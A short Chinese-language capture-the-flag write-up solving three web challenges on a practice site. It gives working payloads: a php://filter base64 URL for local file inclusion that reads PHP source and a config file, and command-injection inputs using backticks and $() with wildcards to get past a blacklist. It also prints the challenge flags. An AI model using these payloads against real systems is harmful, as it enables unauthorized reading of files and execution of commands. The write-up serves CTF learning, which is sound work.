- LFI
在login界面查看源代码得到提示
<a href="?page=pages/flag">Flag</a>
想到使用封装协议读取php文件,URL如下:
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
得到php源码
Q2FuIHlvdSByZWFkIHRoZSBmbGFnPD9waHAgcmVxdWlyZSgnY29uZmlnLnBocCcpOyA/Pj8K
Can you read the flag<?php require('config.php'); ?>?
接着包含config文件,url如下:
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
读取php源码:
PD9waHAKCiRmbGFnID0gIkZMQUd7WW9vb29vb19MRklfZzAwZF8yY1h4c1hTWVA5RVZMcklvfSI7Cg==
解密得到flag:FLAG{Yoooooo_LFI_g00d_2cXxsXSYP9EVLrIo}
- homepage
在源代码里面看到js:<script src="cute.js"></script>
点进去是aaencode编码,解码成一个二维码,扫描得flag:FLAG{Oh, You found me!!!!!! Yeeeeeeee.}
- ping
命令执行,看到黑名单,没有过滤可以进行命令替换的反引号` 和$()
`ls`
或者
$(ls)
读到flag.php,黑名单过滤了flag,可以用?来通配,由于限制输入长度,所以用`
`sort ????????`
得到flag:FLAG{ping_$(capture-the-flag)_UtUbtnvY5F9Hn5dR}